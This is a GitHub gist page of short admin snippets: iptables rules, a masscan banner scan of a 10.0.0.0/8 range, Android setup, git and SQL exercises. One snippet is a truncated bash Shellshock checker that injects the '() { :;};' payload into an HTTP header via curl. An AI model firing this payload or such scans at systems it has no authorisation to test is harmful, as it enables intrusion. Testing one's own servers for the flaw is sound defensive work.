Skip to content

Instantly share code, notes, and snippets.

View sdoro's full-sized avatar

Sandro Doro sdoro

View GitHub Profile
@sdoro
sdoro / shell
Last active August 29, 2015 14:07
masscan with banners
iptables -A INPUT -p tcp --dport 60000 -j DROP
masscan 10.0.0.0/8 -p80 --banners --source-port 60000
#
# also before ...
iptables -N LOGGING
iptables -A LOGGING -m limit --limit 200/min -j LOG --log-prefix "SHELLSHOCK: " --log-level 7
iptables -A LOGGING -j RETURN
iptables -A INPUT -s 10.0.0.0/8 -p icmp --icmp-type echo-request -j LOGGING
@sdoro
sdoro / itFlush
Created October 1, 2014 15:19
How to: Linux flush or remove all iptables rules
#
# thanks to: http://www.cyberciti.biz/tips/linux-iptables-how-to-flush-all-rules.html
#
echo "Stopping firewall and allowing everyone..."
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
#!/bin/bash
url="$1"
tag=`uuid`
payload="() { :;};echo;echo $tag;exit"
vulnerable=0
function shellshock () {
header="$1"
response=`curl --header "$header: $payload" --silent --insecure "$url"`
@sdoro
sdoro / enableUSBidVendor.sh
Last active August 29, 2015 14:07
to create Android real terminal
# change MY_idVendor (Samsung) to the idVendor of your device
MY_idVendor="04e8"
cat <<"EOT" > /etc/udev/rules.d/51-android.rules
SUBSYSTEM=="usb", ATTR{idVendor}=="$MY_idVendor", MODE="0666", GROUP="plugdev"
EOT
@sdoro
sdoro / sys-download.sh
Created October 10, 2014 07:30
download Android sdk sys-image
wget \
https://dl-ssl.google.com/android/repository/sys-img/x86/sysimg_x86-10_r02.zip \
https://dl-ssl.google.com/android/repository/sys-img/x86/sysimg_x86-15_r01.zip \
https://dl-ssl.google.com/android/repository/sys-img/x86/sysimg_x86-16_r01.zip \
https://dl-ssl.google.com/android/repository/sys-img/x86/sysimg_x86-17_r01.zip \
https://dl-ssl.google.com/android/repository/sys-img/x86/sysimg_x86-18_r01.zip \
https://dl-ssl.google.com/android/repository/sys-img/x86/sysimg_x86-19_r02.zip
@sdoro
sdoro / rating.sql
Last active February 5, 2016 19:35
Database population
/* Use Postgres SCHEMA */
DROP SCHEMA IF EXISTS films CASCADE;
CREATE SCHEMA films;
SET search_path TO films;
/* Delete the tables if they already exist */
drop table if exists Movie;
drop table if exists Reviewer;
drop table if exists Rating;
git init
echo "# aaa" > README.md
git add README.md
git commit -m "A" README.md
echo "# bbb" >> README.md
git commit -m "B" README.md
echo "# ccc" >> README.md
git commit -m "C" README.md
git remote add origin [email protected]:sdoro/aaa.git
git tag push-01
@sdoro
sdoro / resetMouse.sh
Created December 30, 2015 19:37
Reset mouse (Gnome)
gsettings reset org.gnome.settings-daemon.peripherals.mouse motion-acceleration
gsettings reset org.gnome.settings-daemon.peripherals.mouse motion-threshold
@sdoro
sdoro / remake.sh
Last active January 6, 2016 08:46
remake iso for a very old server
dd if=Fedora-Server-netinst-i386-23.iso bs=512 count=1 of=/tmp/f23.mbr
mount -o loop Fedora-Server-netinst-i386-23.iso /mnt
cd /mnt
xorriso -as mkisofs -o /tmp/f23.iso -b /isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table -isohybrid-mbr /tmp/f23.mbr -partition_offset 16 .
@sdoro
sdoro / index.html
Last active January 14, 2018 15:14
innerHTML
<ul>
<li>salt</li>
<li>pepper</li>
</ul>
<p>Today is a <span id="day">bad</span> day</p>